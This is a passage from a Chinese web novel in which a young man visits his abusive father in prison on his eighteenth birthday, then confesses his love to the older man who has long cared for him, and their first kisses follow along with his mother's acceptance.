裴渐垂着头，伸出手托起简渲的下巴，指腹挨上简渲的下半唇，擦掉上面的血，低声问道：“怎么了？”
简渲轻轻摇了摇头，没有说出这件事，“没什么。”
第56章 第 56 章 告白和初吻
竞赛成绩出来后的半个月简渲都在忙着保送的事情, 连自己临近成年这件事简渲都有点记不住了。
还是孟亭询问简渲要不要办成人礼的时候简渲才察觉他已经要十八岁了。
简渲不喜欢热闹，加上他没有什么朋友，也就拒绝了孟亭的提议。
等到了简渲生日前一天, 简渲才忙完保送的事情，录取通知书大概三天以后就寄过来。
“明天生日打算怎么过？”裴渐低着头，看着疲倦从眼底溢出来的简渲说道。
简渲手里拿着苹果，他咬了一口，闻言回答道：“就和以前一样啊。”
“以前怎么过的？”裴渐挑了挑眉, 问道。
简渲仔细想了一下，他以前也没怎么过生日，他眨了眨眼，说着他认知里过生日的模板：“就吃蛋糕？”
裴渐笑了一声，“不回去和妈妈过吗？”
简渲把吃剩的苹果核扔进垃圾桶里面，说道：“我妈妈有个工作走不开，好像很重要, 明天要收尾。”
孟亭也是昨天才和简渲说的, 事发突然，她本想和请假陪简渲过生日，结果得知服装上出了个纰漏, 必须要她去收尾。
“过完生日要不要出去旅游？”裴渐问道。
简渲仔细想了一下裴渐的建议, 他琢磨了会才开口：“看情况。”
“好。”裴渐也没急着简渲给他个答案。
到了简渲生日当天，简渲昨晚睡得早, 晚上十一点就睡了，他最近很累，导致生日当天上午十点多才睡醒。
简渲迷迷糊糊地睁开眼，把手从被窝里伸了出来，拿起手机看了一眼。
手机屏幕上有几条消息, 简渲点了进去。
是几个熟人给简渲发的。
简渲一一回了句谢谢，看到孟亭的聊天消息的时候简渲回复的动作才慢了下来。
【妈妈：马上就收尾了，我晚上应该能回南城，你要来妈妈家里过生日吗？】
【妈妈：转账10000元。】
简渲没收那一万块。
【nsgb：好。】
简渲答应了晚上去孟亭家的请求。
最后，简渲才看见裴渐的消息。
【哥哥：生日快乐！】
【nsgb：[小猫跪下jpg.]】
【nsgb：我晚上要去妈妈那。】
简渲的消息刚发出去，卧室门就被敲了几下。
简渲从床上起身，下了床去开门。
刚打开门，简渲就看见裴渐站在他房间门口。
裴渐举着手机，屏幕上是和简渲的微信界面，简渲刚打开门，裴渐就开口了。
“晚上要去妈妈那？”裴渐问道。
简渲轻轻点了一下头。
裴渐的手放在后面，听到简渲的话，裴渐才把放在身后的手伸了出来。
简渲的视线落在裴渐的手心，那里放着一个水晶球，像雪花一样的东西从顶端往下落，中间躺着一个小男孩，旁边有一朵鲜红的玫瑰花。
“这是什么？”简渲抬起头看着裴渐问道。
裴渐指尖拨弄几下掌心的水晶球，拖到简渲面前，笑着说道：“生日礼物。”
生日礼物。
简渲接过裴渐递过来的东西。
“买的吗？”简渲也学着裴渐的动作，拨弄了几下，问裴渐。
裴渐轻轻摇了下头，对上简渲有些惊讶的眼神，裴渐轻声解释道：“我自己做的。”
简渲的目光重新落在那个水晶球上，看着中间的那个男孩，简渲指着他，问道：“这是我吗？”
裴渐弯着眸子，含着笑说道：“嗯。”
简渲越看越喜欢，有些爱不释手，他把水晶球放回到自己的书桌上，重新走到裴渐身边。
“想出去玩吗？”裴渐问道。
简渲抿着唇，把心里埋藏很久的想法说了出来：“我想去看简崇。”
“你知道他在哪？”裴渐说。
简渲嗯了一声，漫不经心地开口：“他吸毒，进去了。”
“你要去探监吗？”裴渐问道。
简渲点点头，说道：“我想去。”
裴渐握住简渲的手腕，说道：“我陪你去。”
简渲挪开目光，盯着裴渐握着自己手腕的手，说道：“好。”
简渲知道简崇在南城监狱，裴渐开着车把简渲送到了门口。
“要我陪着你吗？”裴渐摇下车窗，露出半个头问简渲。
简渲不想裴渐和他进去，于是拒绝道：“不用了，我一个人去。”
简渲到了监狱，把简渲的身份信息说了以后，站在门口的警察就进去告诉简崇了。
简渲不知道简崇愿不愿意见他，等到狱警出来说简崇愿意见简渲以后，简渲才被带了进去。
监狱里的人大部分都是男性，时不时有人的视线落在简渲身上，狱警戴着简渲走到探监的地方，说道：“十分钟。”
简渲轻轻点了一下头。
不用十分钟，他觉得两分钟就够了。
简渲抬起头，对上简崇有些阴毒的视线，他笑了一声，率先开口：“你现在是不是很恨我？”
简崇早已没了之前的模样，整个人都消瘦了，眼眶凹了下去，听到简渲的话，他狠狠说道：“老子就恨当时没逼着你吸。”
站在一旁的狱警走上前。
简渲抬起头，对狱警说道：“没事的。”
说完以后，简渲就收回了视线，重新盯着简崇说道：“我保送了，华京大学，我找到妈妈了，你不用幻想我过的多苦了。”
简崇嗤笑了一声，咬着牙开口：“那个贱女人，和他弟一起报警，要不是因为她，我能进来？”
简渲垂下眸，又问道：“你怎么知道那个地方的。”
那个地方，简崇自然清楚简渲说的是哪个地方。
他抓着自己的手，乌紫的唇一张一合，“老子从你第一次回来以后就偷偷跟着你了，我第一眼就认出来孟亭她弟了，和那个贱女人长得也一模一样”
“你说话很脏。”简渲平静地开口。
简崇停住嘴，视线在简渲身上打量了几下，继续说道：“有婊.子傍就是活的不一样，怎么，卖了沟.子就去傍婊.子了？”
简渲放在腿侧的手瞬间捏紧，他抬起眸，冰冷的视线落在简崇的脸上，“你对我妈放尊重点，还有，什么叫我卖？”
简渲闭住嘴，那个词他确实说不出口，简崇这人从来就没正常过，从简渲儿时的时候嘴巴就不干净，简渲自然也知道简崇是什么意思。
简崇露出一口有些黄的牙齿，朝着简渲笑了笑，“别以为老子不知道，你天天和一个男的混在一起，不是卖沟子是什么？”
“你是不是有病？”简渲盯着简崇说道。
简崇哈哈笑了几声，他抬起那双被手铐拷着的手，伸出指尖指着简渲，“我儿子是个同性恋，多可笑的事啊，这么上赶着给别人”
站在简崇身边的狱警走上前，压住了简崇。
简渲旁边的狱警走到简渲身边，说道：“犯人情绪不正常，抱歉。”
简渲站起身，最后看了简崇一眼。
简渲脑子有点乱，他不清楚简崇怎么会觉得自己是同性恋，他知道简崇的话不可信，但是简渲就是控制不住去多想。
直到走到监狱外面，简渲抬起头，就看见裴渐站在车外的身影。
简渲挪着步子走上了前，走到裴渐身边，低声说道：“好了。”
裴渐垂着头，视线落在简渲的左手的手背上，那里有道指甲印，裴渐伸出手把简渲的左手抬了起来：“怎么弄”
裴渐还没说完，简渲就抽出了手，打开副驾驶的车门上了车，轻声说道：“上车吧，小伤。”
裴渐看着自己空荡荡的掌心，掌心合了合，裴渐收回手，从另一侧上了车。
车子开动以后两人都没有说话，都处在一种极度诡异的氛围中。
简渲偏着头，看着窗外发呆。
我儿子是个同性恋。
同性恋。
简渲垂下眸，看着自己的掌心，有些呆滞，他开始思考。
他和裴渐。
究竟是什么关系？
从一开始，简渲把裴渐当作一个好心的路人。
后来莫名其妙就和裴渐关系好了起来。
知道裴渐就是小时候遇见的那个哥哥以后，简渲的第一反应不是有缘，而是庆幸。
他在庆幸什么？
简渲觉得他好像有点看不明白自己。
简渲的瞳孔有些涣散，他的视线没有落在一个实点上面。
他开始思考自己和裴渐的关系。
朋友之间会捏对方的脸吗？
朋友之间会给对方送自己做的礼物吗？
朋友之间会陪对方在运动会跑步吗？
简渲想了很久，得出来的结果是会。
在简渲看来，这些都是再正常不过的事情。
可这些都是裴渐对他做的。
不是简渲他自己。
裴渐自然也感觉到了简渲心不在焉，他把车停在路边，问道：“要喝奶茶吗？”
简渲抬起头，看了眼裴渐，又快速挪开视线，说道：“好。”
裴渐下了车以后，简渲摇下了车窗，目光落在裴渐身上。
裴渐进了附近的一个奶茶店，简渲的视线也就停在奶茶店门口。
简渲也不知道自己看到了什么时候，直到看见两个女生走到裴渐身边。
简渲这才回过神，他下意识就想去看裴渐的表情。
裴渐脸上没什么表情，那两个女生拿着手机在裴渐面前舞着。
然后
然后简渲就看见裴渐笑了一下，拿出手机对那两个女孩说了些什么。
下一秒，裴渐就不知道为什么突然转过了头，简渲连忙收回了视线，拿出放在兜里的手机，想找点什么发散注意力。
简渲的指尖在屏幕上胡乱点着，却不小心就点进了相册。
目光停在相册上以后，简渲的神色突然僵住。
先前简渲保存的裴渐朋友圈的照片就静静地躺在简渲的手机相册里面。
简渲突然觉得自己的心跳有些快，
简渲唇张了张。
朋友会保存别人的照片吗？
可能会有这种情况，但是对于简渲来说，几乎是不可能的事情。
简渲有些懵。
他是同性恋？
还是他喜欢裴渐？
简渲的思绪像毛线团一样团在了一起，直到裴渐上了车，把手中的奶茶递到简渲面前，“给。”
简渲连忙晃了晃头，手忙脚乱地把裴渐递给他的奶茶接过，拿出吸管往盖子上戳了几下，随便喝了几口。
裴渐看着简渲，神色有些复杂，他刚踩下油门，就听见简渲开口了：“直接去我妈妈那里吧。”
“好。”裴渐也没再问，直接把车开回了碧落苑。
在简渲下车之前，裴渐最后还是开口了：“晚上住哪？”
简渲关车门的动作顿住，下意识说道：“我妈妈这。”
裴渐捏着方向盘的手紧了紧，他笑了一下，说道：“好，成年快乐。”
简渲说了声谢谢以后就走了，只留下裴渐一个人和他的车留在原地。
回到孟亭家的时候家里还没有人，简渲进了自己的房间，打开微信给孟亭发了条消息。
【nsgb：我回来了。】
简渲没想着孟亭能秒回他的消息，简渲打开卧室里面电竞房的门，走了进去。
简渲进去以后就窝在了电脑椅上，他打开电脑上的浏览器，开始往里面输入。
【喜欢一个人的感觉是什么？】
下面的回复五花八门的。
但都有一个统一的点：心跳加速，会吃醋。
简渲知道他不能参考心跳加速这一条，毕竟他今天才发现自己好像有点不对劲。
简渲的视线落在第二条上面。
吃醋。
简渲想起刚才的事情。
他看见有人去要裴渐微信的时候心里很难受。
这是吃醋吗？
简渲的指尖在鼠标上不停滑动着，看了很多条回复。
最后，简渲得出了一条结论。
他喜欢裴渐。
可裴渐不一定喜欢他。
简渲看着自己有些发抖的指尖。
他在害怕。
害怕裴渐知道自己喜欢他以后就远离他。
简渲趴在桌子上，脑海里的想法不停碰撞着，最后，简渲睡着了。
简渲再次醒来，是被孟亭拍醒的。
孟亭的指尖挨着简渲的脸颊，看到简渲醒来，孟亭才开口：“怎么睡着了，现在已经晚上八点了。”
简渲不知道自己什么时候睡着的。
他站起身，声音有些哑，开口：“好。”
“好什么，妈妈又没让你干嘛，睡迷糊了吗？”孟亭笑着说道，轻轻把简渲抱进了怀里，“成人快乐，宝贝。”
简渲闻着孟亭身上的味道，突然呆住。
这个味道，和裴渐之前给他的那个盒子里的香味一模一样。
简渲忍住想问孟亭这是什么香味的想法，被孟亭握着手下了楼。
下楼的时候陆南疆就坐在餐桌上了，桌上放着一个大蛋糕。
孟亭在简渲走到餐桌上以后就关掉了一楼的所有灯，只能对门的别墅透出的灯光打在餐桌上。
陆南疆站起身，把露出插在了蛋糕上面，说道：“许愿。”
孟亭推了推简渲，轻声说道：“许愿吧。”
简渲看着蜡烛，突然想起了年初裴渐过生日的时候。
他现在还不知道裴渐许了什么愿望。
简渲闭着眼睛，随便许了个愿望。
“十八岁了，希望我的宝贝能被很多人喜欢。”孟亭笑着开口，把简渲抱进了怀里，轻轻拍着简渲的背。
陆南疆切了一块蛋糕，放到简渲面前，说道：“吃吧。”
简渲混混沌沌地过了自己十八岁生日，他只知道自己吃了蛋糕，连蛋糕什么味都没有记住。
简渲回过神的时候孟亭正在说着要带简渲出去玩，询问简渲的想法。
简渲无精打采地窝在沙发上，他下意识回答道：“不想出去。”
他现在满脑子都是裴渐，根本没有心情去想其他的。
连过个生日他都能看见什么就想到裴渐。
简渲觉得自己疯了。
放在兜里一整天都没怎么看的微信突然响了几声声。
简渲拿出手机看了一眼，是裴渐发来的，他等了一分钟，才点开自己和裴渐的聊天界面。
【哥哥：今天心情不好吗？】
【哥哥：昨天给你买了一个蛋糕，现在才送来，我不爱吃，你要吃吗？】
【哥哥：我就在碧落苑门口。】
裴渐就在碧落苑门口。
简渲猛地站起身，吓了孟亭一跳。
孟亭看着简渲，有些懵，“怎么了？”
简渲拿着手机，声音有些急躁：“我有点事，先出去一下。”
孟亭点点头，“早点回来。”
简渲拿着手机，快步走到了大门口。
刚走到门口，简渲就看见门口的石墩子上坐着一个穿着大衣的人影。
简渲走了过去，开口：“你怎么不提前和我说？”
听到身后的声音，裴渐站起身，眼神晦涩地盯着简渲，说道：“我说了你会让我来？”
简渲抿住了唇，转移话题道：“不冷吗？”
“我是哪里让你不开心了吗？”裴渐问道。
简渲愣住，他抬起头，解释道：“没有。”
“从看完简崇以后，你就开始躲着我。”裴渐平静地说出了事实。
简渲没想到裴渐看出来了，他有些不知道怎么说，手指摸到了裴渐手里拎着的蛋糕上，说道：“蛋糕。”
裴渐看着简渲，看了一会，轻笑了一下，“嗯，吃蛋糕。”
两人没去其他地方，就把蛋糕放在石墩子上打开。
简渲看着眼前的蛋糕，款式很熟悉，他抬起头，问裴渐：“这个蛋糕好眼熟。”
“嗯，和你之前做的同款。”裴渐说道。
简渲没切蛋糕，随手拿着塑料刀挖了一口，有些心神不宁。
“好吃吗？”裴渐问道。
简渲点点头，说道：“好吃。”
说完话后，两人再次陷入了沉默。
简渲吃了几口蛋糕，呼出一口气，问道：“你当时的生日愿望，是什么？”
“你要帮我实现吗？”裴渐垂下眸，看着简渲沾着些奶油的唇角。
简渲点点头。
他怕再不帮裴渐实现，以后自己的心思暴露以后再也没机会了。
裴渐垂在腿侧的手指尖捏紧，他看着简渲的脸，轻声说道：“我二十二岁的生日愿望是，你能幸福。”
简渲站在原地愣住。
手中的塑料刀滑落在地上，没人去捡。
裴渐再次重复了一次：“我二十二岁的生日愿望是，你能幸福。”
简渲当然听见了。
他不知道裴渐这句话是什么意思。
又或者说是不是他想的的那个意思。
是不是代表着，裴渐喜欢他。
简渲垂着眸，再次确认一次自己究竟喜不喜欢裴渐。
如果裴渐和别人在一起，简渲觉得自己可能会拉黑裴渐的所有联系方式。
可裴渐这次就不会哄他了。
因为裴渐有爱人了。
简渲不想裴渐去哄其他人。
他也不想裴渐对其他人好。
他更不想裴渐和其他人在一起。
他不是一个好人。
他会嫉妒的。
简渲的指尖动了动。
裴渐低着头，看着简渲僵硬的神色，自嘲地笑了一下，“算了”
下一秒，裴渐的唇就被柔软的触感覆盖住。
简渲伸出右手，掌心死死盖着裴渐的唇。
他和裴渐的视线撞在一起，简渲挪开视线，眨着有些酸麻的眼睛，语速很快地说道：“裴渐，我喜欢你，只有你能让我幸福，你真的要让我实现这个愿望吗？”
简渲总是觉得，世界上除了他的奶奶，自己再也不会拥有纯粹的爱。
可裴渐是他已经定轨的人生唯一的例外。
这次他在奶奶去世后第一次迫不及待地想抓住可能以后随时会消失的幸福。
两个人真正相爱一生的概率无限趋近0。
裴渐垂着眸，看着简渲脸颊上落下的眼泪，他伸出指尖，擦掉简渲脸上的眼泪。
他偏了偏头，让自己的唇能挨上简渲的掌心，不停地啄吻着，那双和常人不一样的眼睛盯着简渲，似乎在观察简渲说的话是不是真的。
简渲被裴渐滚烫的唇热得松开了手。
简渲抬起头，看着裴渐，又看了看自己的掌心，他不知道裴渐的意思，只觉得有些呼吸不上来，脊背不断起伏着。
裴渐伸出手，托着简渲的脸，慢慢吻掉简渲脸颊上的泪，他的视线落在简渲的唇上，轻轻贴了一下，又很快离开。
下一秒，简渲听见裴渐的声音混着自己的哭声响起。
“乖崽，世界是你的，我也是。”
第57章 第 57 章 宝宝，舌头伸出来……
裴渐的唇从简渲耳边擦过, 感觉到简渲浑身颤了一下，他笑了一声，双手紧紧托着简渲的脸颊, “该我先说的。”
简渲有些呆住，唇上突然擦过的触感仿佛还在停留，他下意识伸出舌尖舔了一下自己的唇，和裴渐有些深邃的目光对视上，简渲有些结巴：“你是那个意思吗？”
裴渐笑了一下, 把简渲搂进怀里，唇瓣在简渲的耳垂上不断吻着，带着热气的呼吸扫在简渲耳侧，“宝宝。”
简渲的耳朵瞬间烫了起来，他伸出手，把裴渐的唇从自己耳侧推开，小声说道：“你别乱喊。”
裴渐抱着简渲, 力度很大, 像是要把人融进身体里一样，“我现在是你男朋友了吗？”
男人的声音里带着笑，还有一点不被察觉的沙哑。
简渲侧着头, 尽量让自己不和裴渐脸贴着, 他怕自己的脸烫到裴渐，听到裴渐的话, 他揉了揉自己另一边的耳朵，“嗯，男朋友。”
裴渐笑了起来，他的脑袋在简渲的颈窝不断蹭着，像得到什么宝物的大狗狗一样, “我还是喜欢你喊我哥哥。”
简渲抿了抿唇，垂着眼看着放在石墩子上摇摇欲坠的蛋糕盒，轻声说道：“哥哥，蛋糕要掉了。”
裴渐这才松开抱着简渲的手，把蛋糕放在地下，做完这些动作以后又想去抱简渲。
简渲伸出指尖，抵着裴渐的脸颊，红着脸说道：“吃蛋糕。”
“怎么这么容易脸红。”裴渐把简渲的指尖握在手里，轻轻吻了一下。
“那你别惹我了。”简渲轻轻踢了一下裴渐的脚尖。
裴渐垂着头，看着简渲的脸，转移话题道：“吃蛋糕。”
也没答应简渲的要求。
裴渐弯下腰，把被简渲弄得有些乱的蛋糕托在手里，看着掉在地上的塑料刀，说道：“好像只能这么吃了。”
简渲这才发现原本在他手里的塑料刀掉到了地上，他把塑料刀捡起来扔进蛋糕盒里，抬起头用埋怨的眼神看着裴渐：“都怪你。”
显然，裴渐很乐意给男朋友背锅，他用叉子叉了一小块奶油递到简渲唇边，“吃吧。”
简渲把奶油含在嘴里，奶油很腻，简渲不怎么爱吃，但他还是吃了下去，他指尖在裴渐看不见的地方沾了点奶油。
“你低头。”简渲看着裴渐说道。
裴渐不知道简渲想干什么，但他还是乖乖低下头，“怎么了？”
结果等来的不是简渲的回答，而是一团粘腻的奶油在他脸上。
裴渐看着简渲脸上狡黠的笑，他笑了一下，沾了点自己脸上的奶油，垂着眸点在了简渲的鼻尖。
简渲睁大眼睛，再次沾了点奶油，弄在裴渐脸上。
两人也不知道把蛋糕糟蹋成了什么样，原本雪白的蛋糕只剩下淡黄色的蛋糕胚子。
裴渐看着满脸笑意的简渲，问道：“今天为什么不开心？”
简渲抬起头，看着裴渐，迷茫地说道：“我没有不开心。”
“你今天看完简崇以后就不理我了。”裴渐捏了捏简渲的脸。
他那时候真的没理裴渐吗？
简渲仔细回忆了一下，当时裴渐想拉他的手，被他抽开了。
但他不是故意的，他当时脑子太乱了。
简渲仰着头，亲了亲裴渐的下巴，解释道：“当时探监，简崇说我和你在谈恋爱，说我是同性恋，我脑子太乱了。”
裴渐垂下眼，知道简崇说的话肯定没简渲说的这么好听，他托着简渲的脸，问道：“你是真的喜欢我吗？还是”
感觉到裴渐托着自己脸颊的指尖有些紧绷，简渲弯着眼睛，挨了挨裴渐的唇，打断了裴渐后面的话，软着声音说道：“我很确定，我喜欢你，哥哥，如果你和别人在一起，我会吃醋的。”
裴渐眸色有些深，他伸出手，指腹按在简渲的唇上，喉结滚了滚。
裴渐低下头，看着简渲的眼睛说道：“吃醋？”
简渲点点头，说道：“今天，你去买奶茶的时候，有两个女孩子要你微信，你笑了，我不开心。”
裴渐想起来了，他当时看见了简渲低头的瞬间，他认真解释道：“我没同意，我当时说，我有喜欢的人了，就在车里坐着，然后她们祝我早点追到你。”
简渲呆住。
他眨了眨眼睛，问道：“你什么时候喜欢我的？”
裴渐刚想说，下一秒，简渲兜里的手机就响了起来。
简渲拿起手机看了一眼，看见上面的备注，对裴渐说道：“我妈。”
裴渐点点头，看着简渲把电话接通。
“宝贝，你在哪？”孟亭的声音在手机那头响起。
简渲有些紧张，说道：“我在外面啊。”
“我就在碧落苑门口等你，早点回来。”孟亭轻声说道，随后就挂断了电话。
孟亭没直说她是什么意思，但简渲知道，他现在和裴渐就在碧落苑门口。
简渲的声音开得外放，裴渐也听见了，他抬起头，往碧落苑那边看了一眼，就看见孟亭的身影就站在那里。
简渲也顺着裴渐的视线看了过去。
简渲把手机收回兜里，小声对裴渐说道：“我们好像被看见了。”
“嗯，我们被看见了。”裴渐也附和道。
“那我走了？”简渲指了指那边。
裴渐把蛋糕装进蛋糕盒，拎了起来，对简渲说道：“我陪你。”
简渲没有拒绝裴渐的提议，他不知道孟亭什么时候站在那的，他慢慢挪了过去，开口：“妈”
“宝贝。”孟亭开口，打断了简渲的话。
简渲的声音顿住，他看向孟亭。
孟亭揉了揉眉心，对简渲说道：“我们先回去。”
像是没看见裴渐一样。
裴渐也没觉得有什么，毕竟没人愿意自己的孩子刚成年就和一个对自己孩子有不轨之心的人呆在一起。
裴渐颔首，对孟亭说道：“阿姨晚上好。”
孟亭好像这时候才发现裴渐的存在一样，她抬起头，朝裴渐点点头，把简渲拉到了自己的身边，开口：“我先带简渲回去了。”
“好的。”裴渐点点头，应道。
孟亭的视线落回在简渲身上说道：“回去吧。”
简渲转过身，跟着孟亭走了，走了几步，简渲转过头，朝裴渐挥了挥手。
“不舍得吗？”孟亭突然开口。
简渲连忙回过头，摇了摇头：“没有不是，我没有”
简渲感觉自己怎么都解释不清楚。
“我看见了。”孟亭说道。
简渲呆住，他抿了抿唇，大概是知道孟亭看见的是他和裴渐唇碰唇了。
“你确定吗？你喜欢裴渐？”孟亭的步子停住，问道。
简渲点点头，“妈妈，我很喜欢他，我很确定。”
孟亭笑了出来，把简渲抱进了怀里，说道：“我很早就看出来他喜欢你了，我可能有点不能接受自己的孩子和一个男生谈恋爱，我担心你被其他人嚼舌根，你明白吗？宝贝。”
简渲伸出手，拍了拍孟亭的背，说道：“妈妈，我觉得，我不在意别人想。”
孟亭叹了口气，“妈妈尊重你，今天这么开心的日子，妈妈也不想说什么，如果他对你不好，你要告诉妈妈。”
简渲轻声说道：“妈妈，如果不是他，我可能初中就不想活了。”
孟亭的身子僵住，“为什么？”
“刚上初中的时候有人欺负我，可能是被简崇打习惯了，我也没想着反抗，那时候身上全是淤青，被裴渐看见了，他让我打回去，让我不要被别人欺负。”简渲眼睛有些红，他快速擦了擦自己的眼睛，说道。
孟亭轻轻抹掉简渲眼角的泪，把简渲拉到长椅上坐下，“你愿意和妈妈仔细说吗？”
简渲点点头。
十分钟后，孟亭听完简渲说的，她垂着眼把简渲搂进了怀里，声音温柔地说道：“妈妈知道了，但你要记住，要爱一个本身就很好的人。”
“我知道。”简渲说道。
和孟亭回到别墅以后，两人都没有提到刚才的事情，陆南疆看见孟亭带着简渲回来，走到孟亭面前，皱着眉问道：“哭了？”
简渲偏着头，这才发现孟亭的眼睛是红的，刚才外面太黑了，简渲没有看见。
“我儿子成年了，我很开心，我还以为我看不见他满十八岁了。”孟亭吸了吸鼻子，没有说实话，把这个秘密藏到了心里。
陆南疆点点头，转过身从沙发拿起一个盒子，塞进简渲手里，说道：“成人礼物。”
简渲看着手里沉甸甸的盒子，打开一看，里面都是金条。
他突然觉得手里的礼物有些烫手。
“陆叔叔，太贵重了。”简渲说道。
陆南疆看着简渲想归还的动作，把盒子按在简渲掌心，“如果你愿意，可以喊我爸爸。”
简渲握着盒子的手紧了紧。
他一直都能看出来，陆南疆不是喜欢他，只不过是孟亭，因为自己的他爱人的孩子，陆南疆才能接受他，甚至因为孟亭的年龄，从来没想再要一个属于自己的孩子。
只不过是爱屋及乌。
“简崇进去了，小渲，如果你愿意，可以叫他爸爸，当然，我们尊重你的想法。”孟亭说道。
简渲抿着唇，捏着盒子的指尖紧了松松了紧，“爸。”
孟亭的哭声在偌大的空间里响起，陆南疆把孟亭抱在了怀里，手掌挨着孟亭的发丝，垂着眸子看着孟亭，眉眼间有些笑意：“你妈有点小姑娘，爱哭，当时第一次看见你，你在送外卖，但是她不敢去找你，回来也在哭。后来她偷偷让你舅舅开了个网吧，知道你在南附读书，也在哭。你和她见面那天，她在电话里哭。从我和她结婚的那天起，她一直都很担心，怕你不能接受她再婚这件事，害怕你只是表面接受了。”
“妈妈，你幸福才是最重要的。”简渲说道。
孟亭的身子抖了起来，陆南疆低着头，在孟亭耳边说着话。
简渲听不见，他有些坐立难安，手里的一盒金条也是一个烫手山芋。
简渲挪着步子，说道：“我回房间了。”
孟亭擦了擦眼角，“回去吧，早点睡。”
简渲连忙回到自己的房间，把那盒金条放在床头柜上，做完这一切以后，简渲才感觉到自己脸上的奶油，他连忙去洗手间洗了把脸。
他窝在床边的小沙发上，打开微信，想给裴渐发消息，刚打开微信，简渲就看见了裴渐的消息。
【哥哥：你第一次来我家那天，我就发现自己喜欢你了。】
简渲仔细想了一下，他第一次去裴渐家里那天，是在去年九月。
裴渐这么早就喜欢他了吗？
【nsgb：去年吗？】
【哥哥：嗯。】
简渲坐直了身子，看着裴渐回复的那个单字有些呆。
【nsgb：这么早吗？】
【哥哥：我一开始以为你能看出来，后来发现你好像根本没有这根筋。】
【nsgb：可是你做的这些放在朋友之间很正常啊】
【哥哥：笨蛋。】
简渲的脸颊鼓了鼓，指尖在手机屏幕上飞快点着。
【nsgb：就是很正常！】
没等到裴渐的回复，裴渐的微信视频就打了过来。
简渲按下接听，没看见裴渐的脸，只能看见裴渐浴室的天花板。
简渲还没开口，裴渐有些含糊地声音就响了起来：“那什么不正常？”
“保存你照片啊。”简渲下意识说道。
刚说完，简渲就反应过来自己说了什么，他把手机反盖在沙发上，拍了拍自己的嘴巴。
他在说什么啊？
手机那头有水声响起，过了几秒，裴渐的声音才从手机那头传来：“刚刚在洗脸，什么保存照片？”
“没什么！”简渲连忙说道。
他以为裴渐忘了，刚想把这件事糊弄过去，裴渐就开口了：“我朋友圈那张？”
“不是！”简渲还没把手机拿起来，任由它埋在沙发上。
裴渐的笑声通过扬声器传了过来，“好，那就不是，怎么不让我看你？”
简渲盖在手机壳上的指尖动了动，最后还是把手机拿了起来，露出半张脸在手机摄像头里面。
裴渐那头的画面一直在变，最后才停到裴渐的书桌前，裴渐看着眼手机屏幕里的简渲，问道：“明天回来吗？”
“不清楚，怎么了？”简渲说道。
裴渐大概在忙着工作，指尖在键盘上不停敲着，听到简渲的话，他把脸凑到镜头前，指尖挨了挨屏幕上简渲的唇，开口：“想男朋友了。”
简渲的脸瞬间红了一个色号，“不是刚刚才见面吗？”
“很想男朋友，想和男朋友贴贴，不知道男朋友愿不愿意。”裴渐说道。
“我明天回来！”简渲不想听裴渐再说了，他觉得自己的脸和烧熟的锅底一样烫。
直到裴渐的轻笑声传来，简渲才发现他说的话有多么容易让人误解。
“我睡觉了，挂了。”简渲说道。
说完，没等裴渐回复，简渲就挂断了视频。
简渲刚挂断视频，裴渐的消息就发了过来，简渲捂着有些烫的脸点开那条消息。
【哥哥：（语音3s）】
简渲的指尖点开那条语音，裴渐带着笑意的声音就在简渲的手机里响起。
“宝宝，晚安。”
语音播放结束后，简渲的指尖再次停在播放键上，过了一秒，简渲又按了下去。
简渲也不知道自己听了这条语音多少遍，简渲觉得自己快把播放键按烂了。
最后一次。
简渲想着。
再次按下播放键。
听完以后，简渲才想起来自己还没有回复裴渐，他的指尖按在语音上，犹豫了一会，还是按着语音说道：“哥哥，晚安。”
第二天简渲起的很早，他梦里全是裴渐的那条语音。
但是不是手机里的。
是裴渐凑到他耳边说的。
简渲从床上起身，视线落在床头柜上的那一盒金条上，最后还是把金条放在了衣柜里面。
简渲换了身衣服，下了楼。
刚下楼，孟亭和陆南疆已经坐在楼下了，听到楼梯口的动静，孟亭抬起头。
“吃早饭吗？”孟亭问道。
简渲摇摇头，说道：“我回去了。”
“不在家里呆几天吗？”孟亭起身，走到简渲身边问道。
简渲抿着唇，想到昨天答应了裴渐，最后还是说道：“录取通知书写的那里的地址。”
“好，我明天也有工作，要妈妈送你吗？”孟亭开口。
简渲摇了摇头，“不用了。”
简渲独自走到碧落苑大门前，他坐在昨晚那个石墩子上面打开微信给裴渐发消息。
【nsgb：来接我。】
【nsgb：男朋友。】
简渲刚发完消息，视线里就暗了下来，一辆车停下他面前。
简渲抬起头，就和摇下车窗的裴渐对视上。
“我不是才给你发消息吗？”简渲站起身，说道。
裴渐伸出手，指腹捏着简渲的脸滑了滑，“想你。”
裴渐的话太直白，简渲扒拉开裴渐的手，“我先上车。”
等到简渲从副驾驶上来以后，裴渐没急着开车。
简渲偏着头，看着裴渐，“你怎么不开车？”
裴渐握着方向盘的手松开，他先把车窗摇了上去，侧着身子，掌心握着简渲的手，对上简渲的眼睛，哑着嗓子说道：“想亲男朋友。”
简渲还没系安全带，他倾着身子，用自己的唇在裴渐的唇上贴了贴，“想亲就亲，你别问。”
说完以后，简渲就想回去系安全带。
还没等简渲去系安全带，裴渐另一只手就抬了起来，用指尖捏住了简渲的脸颊，把简渲的脸颊把自己这边掰，抬起了简渲的脸。
裴渐垂着眸，张开唇，用牙齿咬上了简渲上唇的那颗唇珠。
然后才用自己的唇碰上了简渲的唇。
裴渐的唇很烫，简渲有些吃力的仰着头，任由裴渐磨着他的唇，简渲也不知道裴渐挨着自己的唇亲了多久，他想问好没好，裴渐咬了咬他的下唇。
“宝宝。”裴渐说道。
“嗯？”简渲有些吃痛地张开了唇。
下一秒，有些软滑的东西挤入了简渲的唇中。
简渲的大脑瞬间炸开。
裴渐的舌尖在简渲的唇上舔了几下，顺着简渲张开的唇缝挤了进去。
“宝宝，这样的接吻，可以吗？”裴渐把唇挪开，盯着简渲说道。
简渲扭了扭身子，说道：“难受。”
“不喜欢吗？”裴渐捏着简渲脸颊的指尖紧了紧。
“这个姿势，我腰折着，痛。”简渲小声嘟囔道。
见不是因为不喜欢自己亲他，裴渐才松了一口气，他搂着简渲的腰，把简渲抱在了自己的大腿上坐着。
车内的空间不大，简渲只能低着头看着裴渐。
现在两人的姿势彻底对换，变成了裴渐仰着头，简渲低着头。
“可以了吗？”裴渐声音有些哑。
简渲下意识点了点头。
还没等反应过来，裴渐的唇就贴了上来，温热的舌尖不停在他的唇缝上扫着，裴渐的牙齿时不时轻轻咬一下简渲的下唇。
“宝宝，张嘴，舌头伸出来。”裴渐含着简渲的下唇，说道。
简渲坐在裴渐的大腿上，双手只能借力按在裴渐的肩上，简渲垂着头，对上裴渐的眼睛，不忍拒绝裴渐的要求，乖乖把自己的唇张开，刚伸出一点舌尖，裴渐的唇就含了上去。
